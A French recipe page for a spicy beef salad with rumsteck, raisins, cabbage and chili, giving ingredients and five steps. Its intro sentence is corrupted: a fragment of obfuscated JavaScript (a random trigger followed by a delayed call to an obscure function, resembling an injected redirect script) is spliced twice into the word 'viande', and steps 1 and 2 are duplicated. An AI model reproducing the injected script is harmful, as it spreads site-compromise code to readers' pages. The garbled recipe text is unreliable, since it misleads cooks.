Salade de bœuf pimentée
2018-02-13Faites griller la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande dans une poêle, sans matière grasse, sur feu vif, pendant 2 minutes de chaque côté, salez, poivrez et réservez. Laissez refroidir la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande, et coupez la en petits cubes.
Ingrédients
- Pour 4 personnes
- 1 tranche de rumsteck de 3 cm d'épaisseur
- 100 g de raisins Smyrne
- Quelques baies de poivre
- 2 gousses d'ail
- 1/2 cuillère à soupe de Nuoc-mâm
- 1 cuillère à soupe de sauce de soja
- 4 oignons blancs
- 1 piment vert
- 3 brins de coriandre ciselés
- 1/2 cuillère de gingembre en poudre
- 3 feuilles de chou blanc
- Sel poivre du moulin
Préparation de la recette
Etape 1
Faites griller la viande dans une poêle, sans matière grasse, sur feu vif, pendant 2 minutes de chaque côté, salez, poivrez et réservez. Laissez refroidir la viande, et coupez la en petits cubes.
Etape 2
Faites griller la viande dans une poêle, sans matière grasse, sur feu vif, pendant 2 minutes de chaque côté, salez, poivrez et réservez. Laissez refroidir la viande, et coupez la en petits cubes.
Etape 3
Pelez, coupez en deux l'ail. Retirez le germe. Et l'écraser. Pelez, émincez les oignons.
Etape 4
Rincez, séchez, coupez le piment en très fines lamelles. Émincez les feuilles de chou blanc.
Etape 5
Dans un saladier mélangez tous les ingrédients et incorporez le chou blanc, la viande. Mélangez à nouveau. Au dernier moment parsemez les raisins Smyrne et dégustez.
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette
Related Recipes:
-
Tagliatelles au poulet avec ses légumes
-
Salade d’épinards
-
Salade de spaghettis avec du saumon
-
Paupiettes Estivales